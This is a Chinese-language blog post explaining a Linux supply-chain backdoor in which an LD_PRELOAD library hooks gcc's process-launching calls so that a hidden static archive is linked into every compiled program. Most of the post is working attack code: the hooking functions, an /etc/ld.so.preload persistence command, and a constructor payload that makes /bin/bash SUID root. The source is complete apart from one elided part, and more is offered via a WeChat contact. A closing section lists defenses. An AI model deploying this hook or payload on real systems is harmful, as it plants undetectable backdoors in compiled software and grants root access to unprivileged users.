一、先讲个故事:编译出来的程序"自带"后门

想象一下这个场景:你是一个 Linux 系统管理员,某天发现服务器上所有的程序行为都有点不对劲——明明源码审查过没问题,编译出来的二进制文件运行后却偷偷把 /bin/bash 改成了 SUID 权限。更诡异的是,源代码完全干净,没有任何可疑代码。

这不是科幻,而是一种真实存在的攻击手法。它的核心思路特别巧妙:不在源代码里动手脚,而是在编译器身上做文章

攻击者不需要修改你的任何一行代码,只需要在你的系统里"蹲"一个共享库,然后你每次用 gcc 编译程序时,这个库就会神不知鬼不觉地往你的程序里塞一段恶意代码。等你的程序一运行,后门就自动激活了。

今天咱们就来拆解这套技术的完整原理,看看它是怎么做到的,以及涉及哪些 Linux 底层知识点。


二、这套技术到底在做什么?

用一句话概括:通过劫持编译器的进程创建函数,在链接阶段偷偷往目标程序里塞一个静态库,让编译产物自带后门。

整个过程分三步走:

  1. 埋伏:把一个恶意的共享库(gcc.so)通过 /etc/ld.so.preload 全局预加载到系统里
  2. 劫持:这个共享库会 Hook(拦截)execve()posix_spawn() 这两个系统调用,专门盯着 gccclangld 这些编译相关程序
  3. 注入:一旦发现编译器要执行链接操作,就偷偷在命令行参数里加上一个恶意静态库(b.a),让链接器把它打包进最终的可执行文件

最终效果就是:你正常编译代码,生成的程序却已经被"感染"了。


三、核心原理图解

我画了两张流程图,帮你理解整个攻击链路:

图 1:完整攻击链路

在这里插入图片描述

图 2:核心代码判断逻辑

在这里插入图片描述


三、逐行拆解代码:它是怎么"骗"过编译器的?

int is_gcc(const char *path) {
    const char *progname = strrchr(path, '/');
    progname = progname ? progname + 1 : path;
    return strcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0;
}

int is_collect2(const char *path) {
    const char *progname = strrchr(path, '/');
    progname = progname ? progname + 1 : path;
    return strcmp(progname, "collect2") == 0;
}

int is_linker(const char *path) {
    const char *progname = strrchr(path, '/');
    progname = progname ? progname + 1 : path;
    return strcmp(progname, "ld") == 0 || strstr(progname, "ld.") != NULL;
}

int should_inject(char *const argv[]) {
    for (int i = 0; argv[i]; ++i) {
        if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0)
            return 0;
    }
    return 1;
}

char **inject_args(const char *bin_path, char *const argv[], int extra) {
...

    const char **new_argv = malloc(sizeof(char *) * (argc + extra + 1));
    if (!new_argv) return NULL;

    int i = 0, j = 0;
    for (; i < argc; ++i)
        new_argv[j++] = argv[i];

    const char *arg1, *arg2, *arg3;
    if (is_gcc(bin_path)) {
        arg1 = "-Wl,--whole-archive";
        arg2 = lib_path;
        arg3 = "-Wl,--no-whole-archive";
    } else {
        arg1 = "--whole-archive";
        arg2 = lib_path;
        arg3 = "--no-whole-archive";
    }

    new_argv[j++] = arg1;
    new_argv[j++] = arg2;
    new_argv[j++] = arg3;
    new_argv[j] = NULL;

    return (char **)new_argv;
}

int execve(const char *pathname, char *const argv[], char *const envp[]) {
    static int (*real_execve)(const char *, char *const [], char *const []) = NULL;
    if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve");

    if ((is_gcc(pathname) || is_collect2(pathname) || is_linker(pathname)) && should_inject(argv)) {
        //fprintf(stderr, "[hook execve] injecting into %s\n", pathname);

        char **new_argv = inject_args(pathname, argv, 3);
        if (new_argv) {
            int result = real_execve(pathname, new_argv, envp);
            free(new_argv);
            return result;
        }
    }

    return real_execve(pathname, argv, envp);
}

int posix_spawn(pid_t *pid, const char *path,
                const posix_spawn_file_actions_t *file_actions,
                const posix_spawnattr_t *attrp,
                char *const argv[], char *const envp[]) {
    static int (*real_posix_spawn)(pid_t *, const char *,
                                   const posix_spawn_file_actions_t *,
                                   const posix_spawnattr_t *,
                                   char *const [], char *const []) = NULL;
    if (!real_posix_spawn)
        real_posix_spawn = dlsym(RTLD_NEXT, "posix_spawn");

    if ((is_gcc(path) || is_collect2(path) || is_linker(path)) && should_inject(argv)) {
        //fprintf(stderr, "[HOOKED] %s\n", path);

        char **new_argv = inject_args(path, argv, 3);
        if (new_argv) {
            int result = real_posix_spawn(pid, path, file_actions, attrp, new_argv, envp);
            free(new_argv);
            return result;
        }
    }

    return real_posix_spawn(pid, path, file_actions, attrp, argv, envp);
}

If you need the complete source code, please add the WeChat number (c17865354792)

下面咱们跟着代码走一遍,看看每个函数都在干什么。

4.1 入口:/etc/ld.so.preload 全局预加载

echo "/usr/local/share/gcc.so" > /etc/ld.so.preload

这是整个攻击的起点/etc/ld.so.preload 是 Linux 动态链接器的一个配置文件,里面列出的共享库会在所有动态链接程序启动时优先加载——包括 gcc 本身。

知识点:LD_PRELOAD 环境变量只对当前 shell 生效,而 /etc/ld.so.preload 是全局的,重启后也有效。这就是持久化的关键。

4.2 钩子函数:拦截 execve()

int execve(const char *pathname, char *const argv[], char *const envp[]) {
    static int (*real_execve)(const char *, char *const [], char *const []) = NULL;
    if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve");
    // ...
}

这里用了一个经典的 LD_PRELOAD Hook 技巧

  • 定义一个跟真实 execve 同名的函数
  • 通过 dlsym(RTLD_NEXT, "execve") 找到 glibc 里真正的 execve 地址
  • 在自己的函数里做判断,符合条件就改参数,不符合就直接转发给真实的 execve

知识点:RTLD_NEXT 表示"跳过当前库,找下一个同名符号"。这样就能拿到被 Hook 之前的原始函数地址,形成调用链。

4.3 目标识别:只盯编译器

int is_gcc(const char *path) {
    const char *progname = strrchr(path, '/');
    progname = progname ? progname + 1 : path;
    return strcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0;
}

这段代码从完整路径里提取文件名(strrchr 找最后一个 /),然后匹配 gccccclangcollect2ld 这些编译链上的关键程序。

为什么要同时 Hook collect2ld?因为 GCC 内部的真实链接流程是:gcccollect2ld。只 Hook gcc 不够,得层层拦截。

4.4 过滤逻辑:不链接的时候不捣乱

int should_inject(char *const argv[]) {
    for (int i = 0; argv[i]; ++i) {
        if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0)
            return 0;
    }
    return 1;
}

这段过滤很聪明:

  • -c 表示"只编译不链接"(生成 .o 文件)
  • -E 表示"只预处理"
  • -S 表示"只生成汇编"

这些情况下还没到链接阶段,注入静态库没有意义,反而会报错。所以代码专门做了排除。

4.5 参数注入:偷偷塞三个参数

char **inject_args(const char *bin_path, char *const argv[], int extra) {
    // ... 检查是否已包含 b.a,防止重复注入
    const char **new_argv = malloc(sizeof(char *) * (argc + extra + 1));
    // ... 复制原参数
    new_argv[j++] = "-Wl,--whole-archive";
    new_argv[j++] = lib_path;  // "/dev/shm/b.a"
    new_argv[j++] = "-Wl,--no-whole-archive";
    return (char **)new_argv;
}

这是整个攻击的核心动作。它在原始参数列表末尾追加了三个链接器参数:

  • -Wl,--whole-archive:告诉链接器"把静态库里所有目标文件都链接进来,不管有没有被引用"
  • /dev/shm/b.a:恶意静态库的路径
  • -Wl,--no-whole-archive:关闭 whole-archive 模式,恢复默认行为

知识点:--whole-archive 是 GNU 链接器的一个特殊选项。正常情况下,链接器只会把被引用的符号打包进最终程序;加上这个选项后,静态库里的所有代码都会被强制链接进去。这正是把后门代码"硬塞"进目标程序的关键。

4.6 恶意载荷:constructor 自动触发

__attribute__((constructor)) 
void backdoor() {
    chmod("/bin/bash", 04755);
}

这段代码在 b.c 里,编译成 b.o 后打包成 b.a__attribute__((constructor)) 是 GCC 的一个扩展属性,意思是:这个函数会在程序 main() 函数执行之前自动调用

它不需要被任何人显式调用,只要程序一启动,它就会自动执行 chmod("/bin/bash", 04755)——把 bash 改成 SUID 权限(04755rwsr-xr-x)。普通用户执行这个 bash 就直接变成 root 了。

知识点:ELF 可执行文件里有一个 .init_array 段,专门存放这些 constructor 函数的指针。程序启动时,动态链接器会遍历这个数组,逐个调用。这是 Linux 程序初始化的标准机制。


五、涉及的关键技术领域

这套攻击虽然代码不长,但横跨了好几个 Linux 底层知识领域,梳理一下:

5.1 动态链接与运行时库加载

  • LD_PRELOAD / /etc/ld.so.preload:动态链接器优先加载用户指定的共享库,实现函数替换
  • dlsym(RTLD_NEXT):在 Hook 链中获取原始函数地址
  • 符号解析(Symbol Resolution):同名函数优先加载的机制

5.2 进程控制与系统调用

  • execve():Linux 执行新程序的核心系统调用
  • posix_spawn():POSIX 标准的多线程安全进程创建接口,GCC 内部也会用到
  • 进程替换(Process Replacement):exec 系列函数的本质

5.3 编译器内部工作原理

  • GCC 的"驱动器"模式gcc 不是直接编译,而是调用 cc1(编译)、as(汇编)、collect2(链接包装器)、ld(链接器)
  • 链接阶段(Linking):把多个 .o 文件和库文件合并成最终可执行文件
  • 静态库(.a 文件)ar 工具打包的多个 .o 文件集合

5.4 ELF 文件格式

  • .init_array:存放程序初始化函数指针数组
  • __attribute__((constructor)):GCC 扩展,将函数注册到 .init_array
  • SUID 权限位chmod 04755 设置 set-user-ID 位,程序以文件所有者权限运行

5.5 Rootkit 持久化技术

  • 用户态 Rootkit:不修改内核,通过 Hook 用户态函数实现隐蔽控制
  • 供应链攻击(Supply Chain Attack):污染编译工具链,影响下游所有产物
  • 隐蔽性:源代码干净,后门只在二进制产物中存在

六、设计思路总结

这套攻击的设计有几个特别值得品味的点:

设计点 目的
同时 Hook execve + posix_spawn GCC 内部两种进程创建方式都覆盖,不留死角
检查 -c/-E/-S 过滤 只在链接阶段注入,避免编译阶段报错暴露
检查参数中是否已有 b.a 防止递归调用导致参数无限增长,避免崩溃
使用 --whole-archive 强制链接库中所有目标文件,即使后门函数未被引用
constructor 属性 程序启动即触发,无需修改源代码中的任何逻辑
/dev/shm 存放 b.a 内存文件系统,重启后消失,减少磁盘痕迹
/etc/ld.so.preload 持久化 全局生效,影响系统上所有后续编译行为

七、怎么防御?

知道了原理,防御就有的放矢了:

  1. 定期检查 /etc/ld.so.preload:这是 LD_PRELOAD 全局劫持的"命门"
  2. 审计编译命令参数:注意异常的 --whole-archive 和陌生静态库路径
  3. 编译环境隔离:用 Docker 容器或虚拟机做编译,避免污染宿主系统
  4. 编译产物校验:对关键二进制文件做哈希校验,对比预期值
  5. 限制 root 对编译环境的访问:攻击者需要 root 才能写 /etc/ld.so.preload
  6. 使用可信编译链:考虑用 Nix/Guix 等可复现构建系统,确保编译环境干净

总结

这套技术的可怕之处在于它的隐蔽性和扩散性。攻击者只需要污染一次编译环境,之后系统上所有通过 gcc 编译出来的程序都会自带后门。而且源代码审查完全查不出来——因为源码本身没问题,问题出在编译器身上。

这其实也是经典的**"信任链"问题**:你信任你的源代码,但你信任你的编译器吗?你信任编译器依赖的动态链接器吗?在 Linux 这种高度模块化的系统里,任何一个环节被攻破,整个链条就断了。

Welcome to follow WeChat official account【程序猿编码

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐